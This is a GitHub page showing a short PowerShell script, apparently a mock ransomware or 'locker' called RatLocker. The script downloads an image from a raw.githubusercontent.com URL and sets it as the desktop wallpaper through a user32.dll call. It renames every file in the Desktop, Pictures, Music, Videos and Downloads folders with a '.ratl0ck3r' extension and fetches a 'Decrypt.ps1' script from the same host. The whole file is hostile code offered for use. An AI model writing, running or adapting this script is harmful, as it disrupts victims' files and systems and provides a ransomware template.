-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathScript.ps1
More file actions
23 lines (23 loc) · 1.23 KB
/
Script.ps1
File metadata and controls
23 lines (23 loc) · 1.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Copy-Item "$HOME\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper" -Destination $HOME\AppData\Local\Temp\YourOldWallpaper.png
Invoke-WebRequest https://raw.githubusercontent.com/WalkTheEarth/ratlocker/main/bg.png -OutFile $HOME\AppData\Local\Temp\RatLocker.png
$MyWallpaper="$HOME\AppData\Local\Temp\RatLocker.png"
$code = @'
using System.Runtime.InteropServices;
namespace Win32{
public class Wallpaper{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;
public static void SetWallpaper(string thePath){
SystemParametersInfo(20,0,thePath,3);
}
}
}
'@
add-type $code
[Win32.Wallpaper]::SetWallpaper($MyWallpaper)
dir $HOME\Desktop\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
dir $HOME\Pictures\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
dir $HOME\Music\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
dir $HOME\Videos\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
dir $HOME\Downloads\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
Invoke-WebRequest https://raw.githubusercontent.com/WalkTheEarth/ratlocker/main/Decrypt.ps1 -OutFile $HOME\Desktop\Decryption.ps1